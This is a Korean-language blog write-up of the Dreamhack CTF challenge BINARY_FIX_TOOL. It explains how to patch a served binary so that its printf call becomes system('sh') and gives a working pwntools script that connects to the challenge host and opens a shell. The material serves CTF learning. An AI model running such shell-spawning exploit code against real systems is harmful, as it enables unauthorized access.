[ Dreamhack ] BINARY_FIX_TOOL

2023. 6. 1. 10:07카테고리 없음

반응형

이 문제는 일반적인 포너블 문제처럼 바이너리가 제공되지 않고 nc로 접속해서

바이너리를 fix하고 실행시켜 쉘을 따야 한다.

1번 메뉴를 통해 바이너리를 bytes 또는 인코딩 된 것으로 볼 수 있다.

bytes로 바이너리를 출력해보겠다.

 

 

그럼 위와 같이 뭐가 많이 나온다.

위 프로그램은 printf로 Hello world를 출력해주는 코드이다.

바이너리에서 저 printf 부분과 Hello world를 출력해주는 프로그램이다.

그런데 바이너리에서 저 함수 있는부분을 만약 puts로 변경하면 이 프로그램은 실행될 때 puts("Hello world")로 

실행이된다. 현재 문제에서 바이너리를 fix 할 수 있기 때문에 저 printf를 system으로 변경하고 Hello world 부분을

sh\x00으로 변경해주면 쉘을 획득할 수 있다.

 

 

자신이 원하는 글자의 위치를 찾아주고 변경해준뒤 4번 메뉴를 통해 실행하면 끝!!

 

from pwn import *

context.log_level = "debug"

r = remote("host3.dreamhack.games", 12764)

def find_word(sentence):
    num = 0
    seperate = 0
    flag = 0

    for i in sentence:
        if i == '\\' and seperate == 0:
            num += 1
            flag = 5
            seperate += 1

        elif seperate == 0:
            num += 1

        if flag != 0:
            seperate += 1
            flag -= 1

        if seperate == 6:
            seperate = 0

    return num

def change(num, change_word):
    for i in change_word:
        r.sendlineafter(b">> ", b'3')
        r.sendlineafter(b": ", str(num).encode())
        r.sendlineafter(b": ", b'y')
        r.sendlineafter(b": ", str(ord(i)).encode())
        num += 1


r.sendlineafter(b">> ", b'1')
r.sendlineafter(b"[B]ytes", b'b')

r.recvuntil(b"b'")
binary = str(r.recvuntil(b"----------Binary end")[:-20])

index1 = binary.find("printf")
index2 = binary.find("Hello world")

binary1 = binary[:index1]
binary2 = binary[:index2]

num1 = find_word(binary1) - 4
num2 = find_word(binary2) - 8

change(num1, "system")
change(num2, "sh\x00")

r.sendlineafter(b">>", b'4')
r.sendline(b"id")

r.interactive()
반응형